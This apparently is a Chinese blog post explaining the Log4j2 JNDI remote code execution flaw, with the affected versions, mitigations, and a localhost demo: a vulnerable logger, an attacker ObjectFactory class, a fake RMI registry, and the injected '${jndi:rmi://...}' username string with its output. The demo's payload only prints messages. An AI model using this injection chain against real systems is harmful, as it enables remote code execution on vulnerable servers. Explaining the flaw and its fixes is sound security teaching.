log4j2漏洞介绍及demo

log4j2漏洞介绍及demo

Posted by John Doe on 2021-12-14
Words 452 and Reading Time 2 Minutes
Viewed Times

漏洞评级及影响版本

Apache Log4j远程代码执行漏洞 严重

影响的版本范围:Apache Log4j 2.x <= 2.14.1

Log4j2漏洞修复方案

升级Log4j2最新的包

https://logging.apache.org/log4j/2.x/download.html

临时解决方案

(1) 修改项目 jvm 参数:-Dlog4j2.formatMsgNoLookups=true

(2) 修改log4j2配置参数:log4j2.formatMsgNoLookups=True

(3)修改系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置 为 true

Demo演示

demo地址:https://github.com/raineddown/log4j2-bug

代码演示:

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* 被攻击者应用程序
*/
public class App {

private static Logger log = LogManager.getLogger(App.class);

public void register(String username){
//....
log.error("{},注册了账号",username);
}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* 攻击者
*/
public class Attack implements ObjectFactory {

static {
System.out.println("静态代码块攻击");
}


@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("你被攻击了");
return "【攻击者】";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/**
* 伪造资源服务
*/
public class Remote {

public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
// 1. 注册一个jndi 服务
Registry registry = LocateRegistry.createRegistry(1099);

Reference reference = new Reference("remote.Attack","remote.Attack",null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

registry.bind("remote",referenceWrapper);
System.out.println("remote start.........");
}

}

攻击测试类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 测试获取资源
*/
@Test
public void testJndi(){
try {
//这里由于我使用的是 jdk 181,jdk 版本大于 181,需要手动设置为 true
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
String uri = "rmi://127.0.0.1:1099/remote";
InitialContext initialContext = new InitialContext();
Object lookup = initialContext.lookup(uri);
System.out.println(lookup);
} catch (NamingException e) {
e.printStackTrace();
}
}

/**
* 测试攻击
*/
@Test
public void testRegister(){
//估计使用拼接的攻击代码
String username = "${jndi:rmi://127.0.0.1:1099/remote}";

App app = new App();
app.register(username);

}

测试结果:

测试资源获取

1
2
3
静态代码块攻击
你被攻击了
【攻击者】

测试静态代码攻击

1
2
3
静态代码块攻击
你被攻击了
20:38:58.040 [main] ERROR local.App - 【攻击者】,注册了账号

This is copyright.

...

...

00:00
00:00